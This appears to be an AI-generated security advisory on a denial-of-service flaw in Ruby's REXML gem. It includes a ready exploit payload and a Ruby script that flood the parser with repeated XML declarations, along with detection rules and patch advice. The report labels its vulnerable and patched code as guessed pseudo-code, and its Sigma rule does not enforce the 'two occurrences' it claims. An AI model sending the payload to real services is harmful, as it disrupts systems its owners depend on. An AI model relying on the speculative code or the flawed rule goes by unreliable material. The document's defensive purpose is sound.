CVE-2025-58767
Executive Summary
CVE-2025-58767 is a denial-of-service (DoS) vulnerability in the REXML XML parsing library for Ruby. The flaw affects REXML gem versions 3.3.3 through 3.4.1. An attacker can exploit this vulnerability by providing a specially crafted XML document containing multiple XML declarations, causing the parser to consume excessive resources and potentially leading to a denial of service. The vulnerability is patched in REXML gem version 3.4.2.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Ruby ecosystem via the REXML gem, a core library for XML parsing. Organizations using Ruby applications that parse untrusted XML input are at risk. The gem is widely used in Ruby on Rails applications and other Ruby-based services. The supply chain risk is moderate, as the vulnerability is patched in a minor version update. However, unpatched systems remain vulnerable to DoS attacks.
CVSS Breakdown & Threat Level
The CVSS score is not provided in the NVD data. However, based on the vulnerability description, a reasonable assessment is:
- Attack Vector (AV): Network (N) – The vulnerability can be triggered remotely by sending a malicious XML document.
- Attack Complexity (AC): Low (L) – No special conditions are required to exploit.
- Privileges Required (PR): None (N) – No authentication is needed.
- User Interaction (UI): None (N) – The victim does not need to perform any action beyond parsing the XML.
- Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
- Confidentiality (C): None (N) – No data is exposed.
- Integrity (I): None (N) – No data is modified.
- Availability (A): High (H) – The service can be rendered unavailable.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Estimated Base Score: 7.5 (High)
Threat Level: High – The vulnerability is remotely exploitable with low complexity and no authentication, leading to a denial of service.
Deep Dive & Mechanics
The vulnerability resides in the REXML gem's XML parsing logic. When the parser encounters an XML document with multiple XML declarations (e.g., <?xml version="1.0"?> appearing more than once), it fails to handle this edge case correctly. Instead of rejecting the malformed input or processing it efficiently, the parser enters a resource-intensive loop or allocates excessive memory, leading to a denial of service.
The root cause is a lack of input validation for the number of XML declarations. The parser should only allow one declaration at the beginning of the document. By providing multiple declarations, an attacker can cause the parser to repeatedly process them, consuming CPU and memory resources.
Vulnerable vs. Patched Code
Vulnerable Code (REXML gem < 3.4.2):
The vulnerable code likely resides in the XML declaration parsing routine. The parser does not check for multiple declarations and processes each one, leading to resource exhaustion.
# Vulnerable pseudo-code
def parse_xml_declaration
while @source.match(/<\?xml/)
# Process declaration
process_declaration
end
end
Patched Code (REXML gem 3.4.2):
The patched version adds a check to ensure only one XML declaration is allowed. If multiple declarations are found, the parser raises an error or stops processing.
# Patched pseudo-code
def parse_xml_declaration
if @source.match(/<\?xml/)
process_declaration
# Check for additional declarations
if @source.match(/<\?xml/)
raise "Multiple XML declarations not allowed"
end
end
end
Exploitation & Lab Setup
Red Team
Objective: Trigger a denial of service on a Ruby application using REXML to parse XML.
Lab Setup:
- Set up a Ruby environment with REXML gem version 3.3.3 to 3.4.1.
- Create a simple Ruby script that parses XML input.
Exploit Payload:
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<root>
<element>test</element>
</root>
Exploit Script:
# exploit.rb
require 'rexml/document'
malicious_xml = <<~XML
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<root>
<element>test</element>
</root>
XML
begin
doc = REXML::Document.new(malicious_xml)
rescue => e
puts "Error: #{e.message}"
end
Execution:
ruby exploit.rb
Expected Outcome: The Ruby process will consume high CPU/memory and may become unresponsive.
Blue Team
Detection:
- Monitor for XML documents with multiple
<?xmldeclarations. - Use network-based detection to inspect XML payloads for anomalies.
- Implement rate limiting on XML parsing endpoints.
Mitigation:
- Upgrade REXML gem to version 3.4.2 or later.
- Validate XML input before parsing (e.g., reject documents with multiple declarations).
- Use a Web Application Firewall (WAF) to filter malicious XML payloads.
Indicators of Compromise (IOCs)
- Network: XML documents containing multiple
<?xmldeclarations. - System: High CPU usage by Ruby processes parsing XML.
- Logs: Error messages related to XML parsing failures or timeouts.
- File: Malicious XML files with repeated
<?xml version="1.0"?>lines.
Detection Engineering
YARA Rule
rule CVE_2025_58767_REXML_DoS {
meta:
description = "Detects XML files with multiple XML declarations targeting REXML DoS"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-58767"
strings:
$xml_decl = /<\?xml\s+version=["']1\.0["']\s*\?>/ nocase
condition:
#xml_decl > 1
}
Sigma Rule
title: Multiple XML Declarations in Request Body
id: 8f4a3b2c-1d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects HTTP requests with multiple XML declarations in the body, indicating CVE-2025-58767 exploitation attempt
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-58767
logsource:
category: webserver
product: generic
detection:
selection:
body|contains|all:
- '<?xml version="1.0"?>'
- '<?xml version="1.0"?>' # At least two occurrences
condition: selection
falsepositives:
- Legitimate XML with multiple declarations (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-58767 REXML DoS Attempt - Multiple XML Declarations"; flow:to_server; content:"<?xml version=\"1.0\"?>"; distance:0; within:1024; content:"<?xml version=\"1.0\"?>"; distance:0; within:1024; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade the REXML gem to version 3.4.2 or later:
gem update rexml - If immediate upgrade is not possible, implement input validation to reject XML documents with multiple declarations.
- Apply rate limiting to endpoints that parse XML.
Long-term Measures:
- Regularly update dependencies using tools like
bundler-auditordependabot. - Implement a Web Application Firewall (WAF) to filter malicious payloads.
- Monitor for unusual resource consumption in Ruby applications.
Workaround:
- Use an alternative XML parser (e.g., Nokogiri) if REXML cannot be updated immediately.
Valters IT signature: This report is generated by Valters IT DevSecOps AI Assistant. For further analysis, contact Valters IT.